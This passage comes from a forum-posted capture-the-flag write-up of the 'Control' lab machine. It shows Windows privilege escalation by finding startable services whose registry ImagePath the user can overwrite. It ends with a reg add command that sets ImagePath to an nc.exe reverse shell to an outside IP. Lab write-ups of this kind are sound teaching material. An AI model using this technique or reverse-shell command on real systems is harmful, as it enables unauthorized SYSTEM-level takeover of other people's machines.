    FailureActionsOnNonCrashFailures    REG_DWORD    0x1
    Group    REG_SZ    PlugPlay
    ImagePath    REG_EXPAND_SZ    %SystemRoot%\system32\svchost.exe -k DcomLaunch -p
    ObjectName    REG_SZ    LocalSystem
    PreshutdownTimeout    REG_DWORD    0x36ee80
    RequiredPrivileges    REG_MULTI_SZ    SeTcbPrivilege\0SeSecurityPrivilege\0SeAssignPrimaryTokenPrivilege\0SeTakeOwnershipPrivilege\0SeLoadDriverPrivilege\0SeBackupPrivilege\0SeRestorePrivilege\0SeImpersonatePrivilege\0SeAuditPrivilege\0SeChangeNotifyPrivilege\0SeUndockPrivilege\0SeDebugPrivilege\0SeShutdownPrivilege
    ServiceSidType    REG_DWORD    0x1
    Start    REG_DWORD    0x3
    Type    REG_DWORD    0x20

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\DeviceInstall\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\DeviceInstall\TriggerInfo
PS C:\Users\Hector\Documents>

Out of all those keys, the one we are interested in is ImagePath. The ImagePath key tells Windows what command to execute when a service needs to be started. If we could change the ImagePath value of one of these services thanks to the permissions seen above and then start that service we would be able to execute arbitrary code as the local SYSTEM account.

Unfortunately, just because a registry ACL includes full control to Hector, it doesn’t mean we will be able to start that service. Hector is not a member of the Administrators group and so cannot arbitrarily shut down or restart services, we’re going to have to do some more trial and error to find some services we can control and which are also not running and we can start ourselves.


Privilege Escalation: Windows Service Hijack

(improvised term)

The Get-Service cmdlet comes to our aid, by using it to query a service we can tell whether that service is running or not:

PS C:\Users\Hector\Documents> get-service NetTcpPortSharing | fl
get-service NetTcpPortSharing | fl


Name                : NetTcpPortSharing
DisplayName         : Net.Tcp Port Sharing Service
Status              : Stopped
DependentServices   : {}
ServicesDependedOn  : {}
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : False
ServiceType         : Win32ShareProcess

So services that can be queried with Get-Service and appear not to be running make for potential targets. Once again because Hector has limited permissions over services, only a portion of them can be queried with the cmdlet and this allows us to narrow down the number of targets to enumerate.

With some string manipulation we can turn the output file given to us earlier by the reg query command into a .ps1 script like this:

Get-Service -Name ".NET CLR Data"
Get-Service -Name ".NET CLR Networking"
Get-Service -Name ".NET CLR Networking 4.0.0.0"
Get-Service -Name ".NET Data Provider for Oracle"
Get-Service -Name ".NET Data Provider for SqlServer"
Get-Service -Name ".NET Memory Cache 4.0"
Get-Service -Name ".NETFramework"
Get-Service -Name "1394ohci"
Get-Service -Name "3ware"
Get-Service -Name "ACPI"
Get-Service -Name "AcpiDev"
Get-Service -Name "acpiex"
Get-Service -Name "acpipagr"
Get-Service -Name "AcpiPmi"
Get-Service -Name "acpitime"
Get-Service -Name "ADOVMPPackage"
Get-Service -Name "ADP80XX"
Get-Service -Name "adsi"
Get-Service -Name "ADWS"
Get-Service -Name "AFD"
Get-Service -Name "afunix"
Get-Service -Name "ahcache"
Get-Service -Name "AJRouter"
Get-Service -Name "ALG"
Get-Service -Name "AmdK8"
Get-Service -Name "AmdPPM"
[....]

Download, execute, redirect output to a file and the result will be something like the following:

Status   Name               DisplayName                           
------   ----               -----------                           
Stopped  applockerfltr      Smartlocker Filter Driver             
Stopped  AppMgmt            Application Management                
Stopped  AppVClient         Microsoft App-V Client                
Running  BFE                Base Filtering Engine                 
Running  BrokerInfrastru... Background Tasks Infrastructure Ser...
Running  CLFS               Common Log (CLFS)                     
Running  ClipSVC            Client License Service (ClipSVC)      
Stopped  ConsentUxUserSvc   ConsentUX                             
Running  DcomLaunch         DCOM Server Process Launcher          
Stopped  DevicePickerUse... DevicePicker                          
Stopped  DevicesFlowUserSvc DevicesFlow                           
Running  Dhcp               DHCP Client                           
Stopped  dmwappushservice   Device Management Wireless Applicat...
Running  Dnscache           DNS Client                            
Stopped  DoSvc              Delivery Optimization                 
Running  DsSvc              Data Sharing Service                  
Stopped  EFS                Encrypting File System (EFS)          
Running  EventLog           Windows Event Log                     
Stopped  icssvc             Windows Mobile Hotspot Service        
Stopped  KtmRm              KtmRm for Distributed Transaction C...
Running  LSM                Local Session Manager                 
Stopped  MapsBroker         Downloaded Maps Manager               
Running  mpsdrv             Windows Defender Firewall Authoriza...
Running  mpssvc             Windows Defender Firewall             
Running  MSDTC              Distributed Transaction Coordinator   
Running  NetBT              NetBT                                 
Stopped  NetSetupSvc        Network Setup Service                 
Stopped  NetTcpPortSharing  Net.Tcp Port Sharing Service          
Stopped  NgcCtnrSvc         Microsoft Passport Container          
Stopped  NgcSvc             Microsoft Passport                    
Stopped  PhoneSvc           Phone Service                         
Stopped  PimIndexMainten... Contact Data                          
Stopped  pla                Performance Logs & Alerts             
Stopped  PrintWorkflowUs... PrintWorkflow                         
Stopped  RasAcd             Remote Access Auto Connection Driver  
Stopped  RasAuto            Remote Access Auto Connection Manager 
Running  RasMan             Remote Access Connection Manager      
Stopped  RemoteAccess       Routing and Remote Access             
Stopped  RmSvc              Radio Management Service              
Running  RpcEptMapper       RPC Endpoint Mapper                   
Running  RpcSs              Remote Procedure Call (RPC)           
Stopped  RSoPProv           Resultant Set of Policy Provider      
Running  SamSs              Security Accounts Manager             
Running  Schedule           Task Scheduler                        
Stopped  seclogon           Secondary Logon                       
Stopped  SecurityHealthS... Windows Security Service              
Stopped  SEMgrSvc           Payments and NFC/SE Manager           
Running  SENS               System Event Notification Service     
Stopped  SensorService      Sensor Service                        
Stopped  SensrSvc           Sensor Monitoring Service             
Stopped  smphost            Microsoft Storage Spaces SMP          
Running  Spooler            Print Spooler                         
Stopped  sppsvc             Software Protection                   
Running  SstpSvc            Secure Socket Tunneling Protocol Se...
Running  SystemEventsBroker System Events Broker                  
Running  TimeBrokerSvc      Time Broker                           
Stopped  UevAgentService    User Experience Virtualization Service
Stopped  UnistoreSvc        User Data Storage                     
Stopped  UserDataSvc        User Data Access                      
Stopped  UsoSvc             Update Orchestrator Service           
Stopped  vds                Virtual Disk                          
Stopped  WaaSMedicSvc       Windows Update Medic Service          
Stopped  WdBoot             Windows Defender Antivirus Boot Driver
Running  WdFilter           Windows Defender Antivirus Mini-Fil...
Running  WdNisDrv           Windows Defender Antivirus Network ...
Running  WdNisSvc           Windows Defender Antivirus Network ...
Running  WinDefend          Windows Defender Antivirus Service    
Running  WinHttpAutoProx... WinHTTP Web Proxy Auto-Discovery Se...
Stopped  WpnUserService     Windows Push Notifications User Ser...
Stopped  wuauserv           Windows Update  

Let’s see if we can start any of these stopped services. Most of them will give an error like this:

PS C:\temp> start-service ktmrm
start-service ktmrm
start-service : Service 'KtmRm for Distributed Transaction Coordinator (ktmrm)' cannot be started due to the following 
error: Cannot open ktmrm service on computer '.'.
At line:1 char:1
+ start-service ktmrm
+ ~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (System.ServiceProcess.ServiceController:ServiceController) [Start-Service],  
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotStartService,Microsoft.PowerShell.Commands.StartServiceCommand

But a few will not act so whiny, for example:

PS C:\temp> start-service pla
start-service pla
PS C:\temp> get-service pla | fl
get-service pla | fl


Name                : pla
DisplayName         : Performance Logs & Alerts
Status              : Running
DependentServices   : 
ServicesDependedOn  : {RPCSS}
CanPauseAndContinue : False
CanShutdown         : True
CanStop             : True
ServiceType         : Win32ShareProcess

That means the service is attackable because we can tell Windows to start it after overwriting the original registry value with our payload, which could simply be an nc.exe reverse shell, in that case reg add is used to change a service’s ImagePath key like this:

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\netsetupsvc /v ImagePath /D "C:\Users\Hector\Documents\nc.exe -e cmd.exe 10.10.15.203 7777"

Run Start-Service after the write operation and the payload will be executed:

This concludes the writeup for Control, I hope it was exhaustive, interesting, and comprehensible all at the same time.

Stay safe.

8 Likes

Awesome writeup! That root is really cool and I had no idea you could do stuff like that. Great job!

2 Likes

This topic was automatically closed after 121 days. New replies are no longer allowed.